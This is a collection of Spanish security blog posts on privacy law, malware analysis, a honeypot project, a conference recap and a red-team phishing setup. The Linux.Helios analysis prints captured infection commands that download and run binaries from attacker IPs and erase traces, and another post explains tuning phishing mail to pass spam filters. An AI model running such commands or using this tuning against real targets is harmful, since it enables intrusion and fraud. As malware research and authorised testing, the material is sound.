Hemos de admitirlo: hace tiempo que se sabe que los datos personales son el petróleo de la sociedad 2.0, y en este sentido Facebook es el emporio de la información de personal; sin duda es la red social que más datos almacena, gestiona y monetiza en la red.

Lo supo hace tiempo y por eso no es casual que en 2014 desembolsaran nada menos que 22.000 millones de dólares para adquirir WhatsApp. Los registros obtenidos con esa adquisición convirtieron a la red social en todo un coloso monopólico en el mercado de la información personal, y hemos de recordar que Facebook también es el dueño de Instagram.

Todos recordamos aquellas vehementes promesas de nuestro ilustre amigo de Palo Alto Marc Zuckerberg, garantizando públicamente que ambas plataformas no intercambiarían los datos de los usuarios ni habría sesiones de datos entre ambas. No sé si coincidirían con el día de los inocentes, pero inocente el que lo creyó. ¿Cómo se justificaría una inversión de 22.000 millones de dólares por una aplicación gratuita sin la explotación de la única fuente clara de ingresos?

También dijeron entonces que no tenían una forma “fiable” y automática de relacionar las cuentas de WhatsApp y Facebook de sus usuarios, y claro, como no le íbamos a creer…

El caso es que WhatsApp no tardó en cambiar las condiciones de uso para que debiéramos aceptar sin rechistar y sin opción al pataleo el intercambio de información con Facebook, no hubo alternativa, ni siquiera, desmarcando la opción de dar permiso a Facebook para obtener nuestros datos. El plazo para aceptar estas nuevas condiciones fue de treinta días, en caso de no ser aceptadas, se desactivaría la cuenta de WhatsApp. Toda una declaración de principios.

Para más inri, el texto legal correspondiente a la cesión de datos a Facebook aparecía junto a una casilla premarcada, algo que contradice de forma flagrante los requisitos del consentimiento legítimo que exige el nuevo reglamento.

Facebook y su peculiar cruzada con la protección de datos

Todos sabemos que un gran poder conlleva una gran responsabilidad, en especial, en lo relativo a los derechos de los usuarios sobre la información que les concierne y concretamente, sus derechos a la protección de sus datos personales.

¿Ha estado Facebook a la altura de esa responsabilidad?

Desde el punto de vista de las regulaciones europeas en materia de protección de datos, predomina el derecho a la autodeterminación informativa, de modo que sean los propios usuarios quienes decidan sobre el uso de la información personal que les concierna. Esto significa básicamente que Facebook no podría legalmente disponer libremente de los datos de los usuarios de WhatsApp sin contar con su consentimiento expreso.

La coacción al usuario llevada a cabo por Facebook, en donde se le obligaba a aceptar forzosamente el intercambio de datos para poder seguir utilizando WhatsApp, no puede considerarse una forma legalmente aceptable. Alemania se mostró en su momento contundente al respecto y prohibió a Facebook esa práctica. Por su parte, Italia y Francia impusieron sanciones a Facebook por este motivo.

La Agencia Española de Protección de Datos no quiso quedarse atrás y en 2016 publicó un comunicado donde expresaban que iniciarían una investigación para examinar ese transvase de información entre ambas plataformas, concretamente, manifestaban que “La investigación se centrará, entre otros aspectos, en qué información de los usuarios de Whatsapp se recoge y envía a Facebook, los fines para los que se utiliza, los plazos de conservación, o las opciones que se ofrecen a los usuarios para oponerse a los tratamientos de su información personal”.

A fecha de hoy, no he sido capaz de encontrar las conclusiones de esa investigación ni si está finalizada.

Entre tanto polvorín provocado por la fusión, en diciembre de 2016 le tocó pronunciarse a la Comisión Europea que acusó directamente a Facebook de mentir en los términos de la compra de WhatsApp, o en palabras más edulcoradas, de proporcionar de forma “intencional o negligente” información “errónea y engañosa” a la comisión, incumpliendo las obligaciones de la UE, tal como afirmaron en su comunicado oficial.

Una de cal y otra de arena

El 26 de julio de 2017, la Agencia Española de Protección de Datos publicó una resolución respecto a un escrito presentado por un denunciante en dónde se cuestionaba justamente la legitimidad de esa casilla premarcada para obtener el consentimiento de los usuarios de WhatsApp con la cesión de sus datos a Facebook.

Y aquí viene la sorpresa: la Agencia se mostró favorable a WhatsApp y manifestó en la resolución que esa práctica no vulneraba la normativa de protección de datos. Algo que personalmente, me dejó muy desconcertada.

Quien presentara el escrito de marras a la agencia, el reputado experto en privacidad y protección de datos (mentor y referente de esta servidora) Samuel Parra, comentaba así en su blog esta sentencia: «En mi opinión, creo que no podemos considerar que el usuario estuviera consintiendo en los términos que exige la normativa de protección de datos con esa casilla premarcada, al margen de la interpretación literal del artículo 15 (que igualmente en mi opinión, dicha interpretación literal es contraria al espíritu de la ley). El consentimiento es definido por la propia LOPD como ‘toda manifestación de voluntad, libre, inequívoca, específica e informada, mediante la que el interesado consienta el tratamiento de datos personales que le conciernen’».

Personalmente, comparto íntegramente la opinión de Samuel Parra y creo que la polémica está servida.

Y la cal…

Pero aunque a mi parecer, la Agencia ha estado muy benevolente en lo relativo al consentimiento obtenido por WhatsApp, no lo ha sido tanto con Facebook: los titulares del 11 de septiembre nos regalan una sanción de 1,2 millones de euros impuestos por la Agencia Española de Protección de Datos a Facebook por vulnerar la normativa al constatar que la red social recopila, almacena y utiliza información personal de los usuarios con fines comerciales sin recabar su consentimiento.

En este caso, las reglas que regulan el consentimiento han sido objeto de sanción, por lo que una de cal y otra de arena para el consentimiento, y que cada cual saque sus conclusiones.

La entrada Facebook y la protección de datos: una de cal y una de arena aparece primero en Security Art Work.

Recientemente un viejo conocido ha vuelto a las andadas. Se trata del Ransomware “Locky”, el cual hace cerca de un año estuvo muy activo a través de campañas de #Malspam (Correo Spam con la finalidad de instalar malware en el sistema de la víctima ) mayoritariamente con ficheros de scripting como “.js”, “.wsf” o “.vbe”. Desde entonces ha seguido manteniendo actividad, aunque en menor medida.
Recientemente han empezado una nueva campaña en la que utilizan ficheros .doc (MSOffice Word) con macros, como el siguiente:

El dato curioso de estos documentos consiste en que, al contrario del caso típico en el que las macros se encuentran en la función “autoOpen()” que ejecuta el código automáticamente al abrir el fichero, en este caso se encuentra en la función “autoClose()”:

De esta forma, al abrir el documento y habilitar las macros no ocurre nada, de hecho, cuando se ejecuta este documento en un entorno de Sandboxing como Cuckoo, no realiza ninguna acción en una configuración normal.
No es hasta que un usuario cierra el documento tras ver que no aparece nada, cuando ocurre toda la lógica que contienen las macros. En el caso de Cuckoo, este mata el proceso, por lo que no llega a hacer ni reportar nada.
Una vez cerramos el editor, aparece justo antes de desaparecer el proceso, un nuevo “Poweshell.exe” con los típicos parámetros de un dropper de malware:

Y tras ser ejecutado, instala y ejecuta desde la carpeta %APPDATA% el fichero descargado al que llama mMdsWxuR.exe, el cual en este caso resulta ser una muestra del ransomware Locky como se puede observar en las alertas de IDS generadas por el tráfico que genera esta amenaza cuando contacta con su servidor de CnC antes de empezar a cifrar todos nuestros ficheros.

Las muestras concretas mencionadas en este post son las siguientes:

No siempre hacen falta técnicas increíblemente avanzadas y complicadas para despistar a más de uno y evitar ser detectado antes de que sea tarde. Siempre hay que mantenerse atentos y en la medida de lo posible no abrir adjuntos de desconocidos, y de tener que hacerlo, ¡evita habilitar macros! ;)

La entrada Droppers de Locky Ransomware con extra de anti-Sanboxing aparece primero en Security Art Work.

Una de las cosas más importantes a la hora de realizar una campaña de phishing [N.d.E. como es obvio, siempre desde la legalidad] es asegurarse de que nuestro correo consigue evadir los filtros anti-spam y así poder llegar a la bandeja de entrada de nuestra víctima.

En este post no se va a explicar cómo se utiliza Gophish, que ya hemos mencionado en algún post, simplemente se van a explicar una serie de pasos a seguir para que nuestros correos sean más confiables. No está de más añadir que siguiendo estos pasos no asegura un éxito del 100%, cada gestor de correos tiene sus propias reglas de filtrado.

Partimos de la base de que Gophish ya está instalado, por lo cual el siguiente paso sería obtener un dominio y realizar una serie de cambios en la administración de DNS.

En primer lugar vamos a establecer un nuevo registro SPF que es el encargado de identificar los servidores de correo que pueden enviar mensajes en nombre de nuestro dominio.

El registro SPF quedaría de la siguiente forma:

TXT        @           v=spf1 a mx ip4:IP ~all

Donde:

1. v: versión utilizada de spf.
2. mx: autoriza a las máquinas con la IP de los registros MX.
3. Ip: la ip del vps donde esté GoPhish.
4. ~all: desautoriza a las máquinas que no encajen en lo autorizado explícitamente

Después agregaremos un registro A, estos registros enlazan un dominio con la dirección IP física de un ordenador que aloja los servicios de ese dominio.

Quedaría de la siguiente forma:

A             @           IP

Para terminar, nos queda el registro MX que es aquel que define cuál es el servidor de correo electrónico para el dominio.

Por ejemplo podría ser:

MX         @           smtp.nuestrodominio.com

Una vez terminado con los registros, otro paso importante es que cuando se acceda a nuestra landing page no aparezca la dirección IP, sino el nombre de dominio. Y como una imagen vale más que mil palabras aquí tenemos como quedaría:

Con esto damos por finalizados todos los ajustes de DNS, y nuestro próximo paso va a ser la configuración e instalación de un servidor de correo de software libre, en este caso Postfix.

Desde nuestra terminal escribimos:

[RedTeam] > ~: sudo apt-get install postfix

Una vez instalado habrá que realizar unas modificaciones en el fichero de configuración que se encuentra en /etc/postfic/main.cf, será importante realizar cambios en los parámetros:

• myhostname: aquí especificamos el nombre FQDN (fully qualified domain name).
• mydomain: aquí tendremos que especificar el nombre del dominio
• mynetworks: aquí definimos qué redes o hosts pueden enviar correo a través de nuestro Postfix.
• mydestination: específica los dominios que el equipo usará para entregar los correos localmente, esta línea la podemos dejar comentada.

Para que los cambios surjan efecto tendremos que reiniciar el servicio con:

[RedTeam] > ~: sudo service postfix restart

Con todos estos cambios que hemos realizado todavía nos faltaría modificar otra cosa más, esta vez en Gophish.

A la hora de crear un sending profile  hay que tener en cuenta que se ha de modificar el campo Host (por defecto viene como localhost: 25), lo tendremos que modificar por el nombre que hayamos puesto en el registro MX.

Este pequeño detalle es bastante importante, ya que si lo dejamos por defecto en las cabeceras del correo aparecerá localhost y le restará puntos a nuestro correo.

Ahora que ya lo tenemos todo modificado ¿cómo comprobamos el nivel de spam de nuestro correo? Pues muy fácil, existen diversas herramientas on-line que nos permiten obtener un indicador de esto.

Una de las que más me ha gustado ha sido https://www.mail-tester.com/ la cual nos permite analizar hasta 3 correos al día de forma gratuita. Podemos registrar una cuenta para obtener 20 análisis o, si no queremos dar datos, utilizar distintas direcciones IP.

Y además, podemos ver en detalle donde hemos fallado, y de está formar poder ir ajustando la configuración de postfix, Gophish y nuestra plantilla de correo con tal de ir mejorando la puntuación:

Finalizar agradeciendo a Alberto Sáez y Pablo Arias la ayuda que han aportado en la recolección de toda esta información para ir mejorando las campañas de phishing.

Referencias

https://es.godaddy.com/help/administrar-dns-680

La entrada Phishing: mejorando nuestras campañas aparece primero en Security Art Work.

El pasado día 14 de septiembre, S2 Grupo presentó en sus oficinas de Madrid ante la prensa el informe del proyecto de investigación iHoney.

Este proyecto, que comenzó en 2014, está orientado al desarrollo de herramientas específicas para la protección de sistemas de control industrial financiado por el Ministerio de Industria, Energía y Turismo, dentro del Plan Nacional de Investigación Científica, Desarrollo e Innovación Tecnológica 2013-2016. En el desarrollo del iHoney ha trabajado un equipo multidisciplinar formado por ingenieros industriales, de telecomunicaciones e informáticos.

Uno de los elementos esenciales del proyecto ha sido la creación de un honeypot que simula una planta de tratamiento de aguas, con todos los procesos que se llevarían a cabo en una infraestructura real. De este modo se consigue una fuente de información fiable sobre la tipología de ataques que cabría esperar en una infraestructura industrial, de forma que, junto al conocimiento procedente de la experiencia del equipo de S2 Grupo, se disponga de información valiosa para el diseño de herramientas de seguridad específicas para los entornos industriales, así como la creación de estrategias de defensa de estos entornos.

Otro aspecto importante de este proyecto ha sido conocer la tipología de ataques que cabría esperar en un entorno industrial, descubrir qué individuos están interesados en realizar ataques a infraestructuras industriales, de qué conocimientos disponen y cuáles son sus objetivos.

Planta de tratamiento de aguas simulada

En el informe presentado (https://s2grupo.es/es/publicaciones-y-descargas/) se recogen las diferentes fases por las que ha atravesado este proyecto. Durante el planteamiento inicial se fijaron unas premisas básicas que el honeypot necesitaba cumplir para no levantar sospechas a posibles atacantes. Para ello, el honeypot debía basarse en una infraestructura pública que permitiese un grado de interacción lo suficientemente elevado para permitir el desarrollo de ataques sofisticados y, además, estar monitorizado de forma prácticamente invisible para no generar sospechas, ya que no es habitual encontrar despliegues sofisticados en infraestructuras de este tipo.

La creación del iHoney ha supuesto todo un reto debido a la complejidad de simulación de un entorno industrial completo. Debido a esto, la fase de diseño se puede diferenciar en tres módulos.

1. El primer módulo simula los procesos físicos de una planta de tratamiento de aguas, donde se ha tenido en cuenta el dimensionado de los procesos, la selección de equipos y todas las actividades necesarias para la simulación de una planta real.
2. El segundo es la implementación de un sistema de control análogo al que realizaría el control de una planta real, de manera que se especifican los PLC a utilizar y el diseño de la interfaz de supervisión del SCADA.
3. Por último, el tercer módulo implementa un sistema de monitorización para detectar los ataques que se recibiesen, incluyendo la arquitectura, el software y los medios físicos de conexión a Internet. Para recolectar la información acerca del comportamiento de los ataques al honeypot, se desplegó una sonda a modo de sistema de monitorización pasiva que fuese transparente para los usuarios y atacantes. Además, se desarrolló un agente específico para la recogida de logs, que utilizaba un programa tapadera para exfiltrar la información, mediante el uso del canal de comunicaciones utilizado por el protocolo de comunicaciones S7 de Siemens.

Algunas de las dificultades encontradas durante la realización del proyecto fueron, entre otros:

• La complejidad del modelado de los procesos físicos de la planta, debido a la complejidad de las expresiones matemáticas y lógicas que relacionan las distintas variables del proceso.
• La selección de una infraestructura lo suficientemente atractiva como para atraer ataques, pero cuya entidad no disuadiera a posibles atacantes.
• La integración del módulo de cálculo de simulación que ejecuta los algoritmos de cálculo de variables del proceso con las herramientas SCADA.
• La construcción del honeypot de forma que los componentes en los que reside la simulación fuesen ‘invisibles’.

Una vez terminada la fase de diseño e implementación, se inició la fase de investigación sobre el honeypot. La duración de esta fase fue de 15 meses (julio de 2015 a septiembre de 2016), siguiendo una metodología de trabajo cíclica para el análisis de la información y la mejora de las herramientas de detección.

Durante esta fase, y para dotar de verosimilitud al proyecto, se recreó un sistema de mantenimiento de la planta de tratamiento de aguas como si de una real se tratase. En este, se inducían averías en la planta y se realizaban paradas programadas para el mantenimiento de los equipos para dotar de un mayor realismo al honeypot. Durante la fase de investigación se registraron más de tres millones de alertas procedentes de seis mil ataques dirigidos al honeypot desde diferentes orígenes. Algunos países que destacan por haber realizado un mayor número de ataques son EE.UU, Holanda, Reino Unido y Rumania.

Para finalizar, algunas de las conclusiones que se pueden extraer del informe son las siguientes:

• La mayor parte de las alertas que se detectaron durante la campaña de investigación procedían de herramientas automatizadas. Este tipo de ataques se producen debido a los servicios que se encuentran expuestos a Internet en el iHoney, no por tratarse de una infraestructura industrial.
• Se descubrió que la mayoría de las IP analizadas que no reportaron actividad abusiva se centraban en realizar conexiones a servicios como FTP. Por el contrario, debido a que el iHoney presenta un servicio web expuesto, se detectaron una serie de direcciones IP catalogadas como maliciosas que probablemente realicen barridos sistemáticos por Internet para encontrar servicios web expuestos.
• Algunas de las direcciones IP que accedieron a los servidores FTP, consiguieron descargar algunos documentos con información de acceso a los servicios de la planta sin una interactuación posterior. Por otro lado, algunas consiguieron subir algunos archivos al servidor, lo que ha abierto una nueva línea de investigación sobre los archivos que se han recogido.
• Se ha comprobado que el factor humano es una parte importante para que un ataque pueda desencadenar consecuencias más graves. Al no disponer de este factor humano, se redujeron las tipologías de ataques registradas, ya que cada vez más los ataques se centran en la ingeniería social y no tanto en el ataque a los sistemas.

Estas son solo algunas de las conclusiones recogidas en el informe, que se puede descargar de forma gratuita en la siguiente dirección.

La entrada Informe del proyecto de investigación iHoney aparece primero en Security Art Work.

El pasado 16 de septiembre volvió a celebrarse un año más una de las jornadas de seguridad más esperadas en Valencia, la RootedCON Valencia. Se trata de un evento que comenzó como satélite del congreso celebrado anualmente en Madrid y que, tras tener una gran acogida entre el público, goza de entidad propia desde hace ya dos ediciones.

Varios compañeros de S2 Grupo y autores de Security Art Work asistimos al evento como oyentes e incluso uno de nosotros, nuestro compañero Jaume Martín, participó como ponente este año. A continuación compartimos con vosotros un breve resumen de las distintas charlas que tuvieron cabida a lo largo de la jornada.

Exploiting Certificate Transparency blind spots

José Torres y Sergio de los Santos comenzaron la jornada hablándonos del estado actual de Certificate Transparency, impulsado por Google. Nos ilustraron acerca de los actores implicados en esta tecnología, así como de debilidades y puntos ciegos en la implementación que pueden llevar a que su infraestructura se vea comprometida. Vistas las pruebas y conclusiones aportadas, parece que a Certificate Transparency todavía le queda un buen tramo por recorrer.

José Torres y Sergio de los Santos, Esquema de los actores implicados en Certificate Transparency, SlideShare. Imagen tomada de: https://es.slideshare.net/rootedcon/jose-torres-y-sergio-de-los-santos-exploiting-certificate-transparency-blind-spots-rootedvlc4 [Accedido el 29/09/2017]

Dagda

Elías Grande nos presentó su proyecto Dagda, una herramienta capaz de analizar estáticamente contenedores Docker en busca de vulnerabilidades conocidas y detectar actividades anómalas en tiempo de ejecución. Se trata de una herramienta open source, con repositorio disponible en GitHub, que se presenta como una alternativa a productos como Docker Security Scanning, oficial pero en ‘free preview’. Y esta vez ¡Dagda viene con interfaz web mejorada!

User Interface de Dagda.
Elías Grande, User Interface de Dagda, SlideShare. Imagen tomada de: https://es.slideshare.net/rootedcon/elias-grande-dagda-rootedvlc4 [Accedido el 29/09/2017]

Anatomy of a modern malware: How easy the bad guys can f*** the world

Pablo Gonzalez y Francisco Ramirez nos detallaron de una manera sencilla cómo de fácil es crear malware actualmente, sin la necesidad de tener amplios conocimientos en la materia. Los ponentes nos explicaron, de forma rápida, los pasos para la creación de un sencillo malware, construyéndolo a partir de extractos de código (disponibles públicamente en Internet) y expusieron el riesgo que supone para todos la creciente evolución de las técnicas y los ataques a los sistemas de información.

Pablo González y Francisco Ramirez, Esquema del malware modular creado para la PoC, SlideShare.
Imagen tomada de: https://es.slideshare.net/rootedcon/pablo-gonzlez-y-francisco-ramirez-anatomy-of-a-modern-malware-how-easy-the-bad-guys-can-f-the-world-rootedvlc4 [Accedido el 29/09/2017]

Playing with mastodon for fun and profit

En esta ponencia, Alfonso Muñoz y Miguel Hernández nos presentaron Mastodon una red social open source alternativa a Twitter que ha crecido exponencialmente en los últimos meses. Alfonso y Miguel expusieron las ventajas de expresarnos en una red social descentralizada y analizaron, desde el punto de vista de la seguridad, los problemas que tiene la plataforma y cómo se pueden explotar para realizar diversos ataques como denegaciones de servicio o el envío de phising masivo a usuarios.

Alfonso Muñoz y Miguel Hernández, Esquema de potencial covert cannel en Mastodon, SlideShare.
Imagen tomada de: https://es.slideshare.net/rootedcon/alfonso-muoz-y-miguel-hernandez-playing-with-mastodon-for-fun-and-profit-rootedvlc4 [Accedido el 29/09/2017]

Rotten ‘phish’: Maldoc analysis tricks

Durante esta ponencia, nuestro compañero de S2 Grupo Jaume Martín compartió con nosotros sus conocimientos sobre maldoc, mostrando cómo los ficheros adjuntos (open office, ZIP, ISO, PDF, Excel, etc.) son utilizados por distintos actores, como grupos APT y de ciberdelincuentes, con fines maliciosos. A su vez nos ilustró con varias demos en que se realizaba el análisis de distintos documentos como un RTF con DOC embebido y con shellcode.

Anónimo, Gameplay de Super Mario embebido en documento de Open Office mediante el uso de una Macro VBA, Youtube.
Imagen tomada de: https://www.youtube.com/watch?v=ax2UBISNv2A&feature=youtu.be [Accedido el 29/09/2017]

Censura en Internet, la batalla digital por la libertad

Durante su charla, Paula de la Hoz nos transmitió en un tono distinto, su imagen de la digitalización del mundo. Nos hizo ver cómo distintos gobiernos utilizan esta tendencia como una herramienta de control de la población y nos presentó distintas asociaciones y grupos (como la Electronic Frontier Foundation) que luchan por los derechos y libertades de los usuarios de Internet. Además, nos explicó distintos recursos de los que disponemos, como el uso de la red Tor para “navegación anónima” o el apoyo de proyectos de código abierto en plataformas colaborativas como GitHub.

Anónimo, Diagrama de enrutamiento de las comunicaciones entre clientes de la red Tor, ExpressVPN.
Imagen tomada de: https://www.expressvpn.com/internet-privacy/wp-content/uploads/sites/2/2016/01/what-is-a-tor-network.png [Accedido el 29/09/2017]

Historia de un CRYPTOFAIL

La penúltima charla de la conferencia corrió de la mano de José Selvi, con un tono más técnico que la anterior, pero como viene siendo habitual en el ponente, muy amena gracias a los toques de humor que siempre sabe poner José. En ella, nos enseñó cómo tras instalar un software cliente “novedoso y cool“, halló la creación de un registro en la maquina con el HASH de la contraseña del administrador… Tras horas de investigación “debuggeando” el código y escribiendo algunos scripts en GO, pudo comprobar que para generar el HASH se estaba utilizando AES-128 en modo ECB (sin bloques) y además con el mismo vector de inicialización, por lo que pudo recuperar la contraseña y tomar el control de la parte servidor. Toda una demostración de que el software nuevo que se instale en cualquier empresa siempre debería ser auditado por un profesional.

José Selvi, Identificación rápida de fallos en el cifrado de una aplicación, SlideShare.
Imagen tomada de: https://es.slideshare.net/rootedcon/jos-selvi-historia-de-un-cryptofail-rootedvlc4 [Accedido el 29/09/2017]

BlockChainValencia Tech

La última charla de la conferencia no fue específicamente sobre seguridad. Este espacio del evento lo ocupó la presentación de un grupo de programadores, entre los que se encuentra David Ortega, que están trabajando en el diseño de código sobre la red blockchain de Ethereum. La presentación fue muy breve y apenas tuvieron tiempo de explicar qué están desarrollando pero, para aquellos interesados en el tema, van iniciar una serie de charlas en Valencia. Parece que la red de Vitalik Butarin no solo ha atraído las miradas de grandes compañías como Microsoft o IBM. Veremos qué bondades nos presentan en el futuro las aplicaciones descentralizadas.

Como siempre, el evento fue una experiencia más que positiva, quedamos con un gran “to do list” con las ideas que se compartieron en este espacio y con muchas ganas de asistir a próximas ediciones. Gracias a los organizadores y hasta la próxima.

(Entrada elaborada en colaboración con Miguel Arenas, Javier Armiñana y Miguel Ángel Henarejos)

La entrada Crónica RootedCON Valencia 2017 aparece primero en Security Art Work.

Desde el laboratorio de malware de S2 Grupo llevamos más de un año siguiendo los pasos del malware Mirai. El 1 de agosto de 2016 se registró la primera petición de un dispositivo infectado por esta botnet, que a pesar de no ser la primera de su especie ya que, entre otras, Gafgyt o Remaiten habían llegado antes, ha marcado un antes y un después en cuanto al conocimiento por el gran público de la dimensión que supone la amenaza de los dispositivos IoT.

Mirai provocó los dos ataques de denegación de servicio más grandes hasta la fecha; el ataque a la web de hosting OVH con más de 1 Tbps de carga (el mayor ataque registrado hasta el momento), y el ataque a Dyn, que provocó la caída de portales como Twitter, Facebook o Paypal.

A continuación se adjunta un informe que tiene como objetivo exponer muchas de las características que hemos podido registrar en la botnet y la evolución sufrida durante su año de existencia.

Para la redacción del siguiente análisis nos hemos basado en las 342 muestras pertenecientes a diferentes variantes de Mirai recolectadas a través de nuestros sistemas honeypot, así como también en la extracción de muestras y/o análisis estáticos de las plataformas detux.org, linux.huntingmalware.com y VirusTotal. En total se ha hecho uso de una población de más de 1200 muestras. Esperamos que el informe os resulte de interés.

– Descargar informe –

La entrada Mirai Año Uno: Evolución y adaptación de una botnet aparece primero en Security Art Work.

Un mes más, desde el laboratorio de malware de S2 Grupo queremos compartir con vosotros lo que se está cociendo en el mundo del malware. Recordad que en este tipo de entradas encontraremos amenazas conocidas, vistas en otras fuentes o analizadas directamente en nuestro laboratorio, pero el objetivo del post es conocer qué tipo de amenazas están activas.

A continuación, mostramos un diagrama con la información recopilada este mes desde el laboratorio:

Para poder observar de un modo más visual determinadas tendencias relativas a la infraestructura de algunas amenazas actuales, una vez más queremos mostraros unas gráficas que consideramos interesantes. La idea es sencilla y consiste en recopilar de diferentes fuentes abiertas y de fuentes propias, direcciones IP de Command and Controls (C2 a partir de ahora). Después esta información recopilada la representamos de diferentes maneras como veremos a continuación:

TOP 5 C2

La primera consiste en el TOP 5 de C2 distintos encontrados por un mismo tipo de malware, lo cual nos ayuda a hacernos una idea de su nivel de actividad durante este mes:

Además, los diferentes colores identificados en la leyenda de la derecha, muestran el país al que corresponden cada una de las direcciones IP de dichos C2.

TOP10 de direcciones IP con dominios de C2

En segundo lugar, tenemos organizado el TOP10 de direcciones IP con mayor cantidad de dominios de C2 distintos que hemos recopilado.

Esta vez, los colores nos muestran el tipo de malware al que corresponde cada dominio de dichas IP.

Nuevo CVE  afectando a MSOffice

Desde hace unas semanas se ha empezado a hablar de una nueva vulnerabilidad en la suite ofimática de Microsoft, que permite a atacantes, ejecutar código de una nueva forma en los equipos de las víctimas a las que envía documentos maliciosos y que ya está siendo utilizada por los malos para infectar equipos.

Concretamente estamos hablando de la vulnerabilidad CVE 2017-11826. La principal ventaja de esta vulnerabilidad sobre la alternativa más común, que son las macros en el documento, es que es algo más discreta y menos conocida. Además a diferencia de otra reciente vulnerabilidad (CVE 2017-0199), ésta aún requiere de interacción del usuario ya que muestra una ventana como la siguiente:

En caso de dar que sí, se ejecuta la lógica pertinente que permite a los malos infectar nuestro equipo a partir del documento en cuestión.

Los documentos ofimáticos son una de las vías preferidas por los distintos actores detrás de las campañas de malware debido a que son mucho más fiables de cara al usuario final que un ejecutable o que ficheros de scripting con formatos raros, por lo que es de gran importancia evitar documentos de fuentes desconocidas, especialmente si nos piden confirmaciones para funciones sin una finalidad clara.

Completa lista de RATs conocidos

Recientemente la usuaria de Twitter @verovaleros ha estado realizando un estudio de los RAT más conocidos hasta la fecha, organizándolos por su fecha de aparición.

Hasta el momento ha recopilado nada menos que 152:

Sin duda, es un gran trabajo de research que permite observar la cantidad de amenazas nuevas solo de este tipo que aparecen cada año. Recientemente está siendo más común encontrar RAT específicos para la plataforma Android.

El estudio sigue en proceso como se puede observar en la cabecera de la figura y en el hilo de twitter donde ha publicado la imagen y donde afirma que todavía le quedan alrededor de 150 más por añadir. Creemos que para todos aquellos interesados en el mundo del malware es un proyecto muy interesante sobre el que vale la pena estar muy atentos.

Para terminar, repasamos la reciente actividad de los distintos ExploitKits (EK) con más impacto durante este mes. Este mes, aunque han seguido con mucha menos actividad que la primera mitad de este año, hemos visto actividad por parte de RIG EK, y Magnitude.

RIG como los últimos meses se ha centrado mucho en RATs ya típicos como Chthonic, Ramnit, Bunitu o Emotet, aunque en este caso también los han acompañado muestras de Ransomware como GlobeImposter o Cerber.

Por parte de Magnitude su objetivo ha sido el de infectar con muestras de Smokeloader a sus víctimas.

Como siempre, recordad que una de las mejores medidas para evitar infecciones a través de este vector de ataque, consiste en mantener actualizado tanto el navegador como cada uno de sus componentes.

Desde el laboratorio de malware de S2 Grupo esperamos que les sea de utilidad esta información que compartimos cada mes.

La entrada Tendencias de malware. Septiembre 2017. Destacado: CVE- 2017-11826 aparece primero en Security Art Work.

Desde hace varias semanas venimos detectando desde el laboratorio de malware de S2 Grupo una nueva variante de malware para arquitecturas Linux e IoT, registrado por primera vez en la plataforma VirusTotal el pasado día 18 de Octubre, y al cual hemos denominado Linux.Helios, debido al nombre de ciertas funciones presentes en la muestra.

Destacamos que las principales firmas de antivirus no clasifican de forma unánime esta muestra: van desde ELF.DDoS hasta Tsunami, pasando por Gafgyt o Mirai.

Infección

Según hemos detectado en nuestros sistemas honeypot, el sistema queda infectado a través de credenciales por defecto en el servicio telnet mediante la ejecución de la siguiente instrucción:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://66.172.27.232/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 66.172.27.232 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 66.172.27.232; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh; rm -rf *;history -c\r\n

El script escrito en bash ejecuta una serie de comandos, de manera muy similar a Gafgyt.

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.166.185.52/ntpd; chmod +x ntpd; ./ntpd; rm -rf ntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.166.185.52/sshd; chmod +x sshd; ./sshd; rm -rf sshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.166.185.52/openssh; chmod +x openssh; ./openssh; rm -rf openssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.166.185.52/bash; chmod +x bash; ./bash; rm -rf bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.166.185.52/tftp; chmod +x tftp; ./tftp; rm -rf tftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.166.185.52/wget; chmod +x wget; ./wget; rm -rf wget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.166.185.52/cron; chmod +x cron; ./cron; rm -rf cron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.166.185.52/ftp; chmod +x ftp; ./ftp; rm -rf ftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.166.185.52/pftp; chmod +x pftp; ./pftp; rm -rf pftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.166.185.52/sh; chmod +x sh; ./sh; rm -rf sh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.166.185.52/' '; chmod +x ' '; ./' '; rm -rf ' '
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.166.185.52/apache2; chmod +x apache2; ./apache2; rm -rf apache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.166.185.52/telnetd; chmod +x telnetd; ./telnetd; rm -rf telnetd

Obteniendo de ese modo la muestra de Linux.Helios que analizaremos.

Persistencia en el sistema

Encontramos que la persistencia se efectúa de un modo muy similar al malware analizado anteriormente para arquitecturas Linux, a través de la escritura en el fichero /etc/rc.d/rc.local (o /etc/rc.conf en su defecto).

Seguidamente obtiene la IP pública de la red a través de la función getOurIP y de la lectura del fichero /proc/net/route tras una conexión a la IP de Google 8.8.8.8. También se obtiene la MAC del dispositivo.

A continuación se lleva a cabo la conexión con el servidor a través de la función initConnection, denominado HeliosServer (nombre que hemos utilizado para denominar nuestra muestra), el cual tiene la dirección IP 66.172.27.232 hardcodeada con el puerto para 666 para la conexión y los parámetros necesarios para la conexión en HeliosCommSock.

Desde la misma función main, se ejecuta la conexión contra el servidor, el cual registrará el dispositivo infectado. La petición que ejecuta contra el servidor incluye la dirección pública de la red así como la arquitectura de la misma. Llama la atención que, en lugar de incluir el nombre de la arquitectura, se modifica por una cadena de texto de corte obsceno.

[172.16.1.31:37344 --> 66.172.27.232:666]
[1;36m DDOSING IS [1;31m ILLEGAL!!:172.16.1.31 Arch:LELIMDUP[34m

[66.172.27.232:666 --> 172.16.1.31:37344]
!* ITRIEDTODU

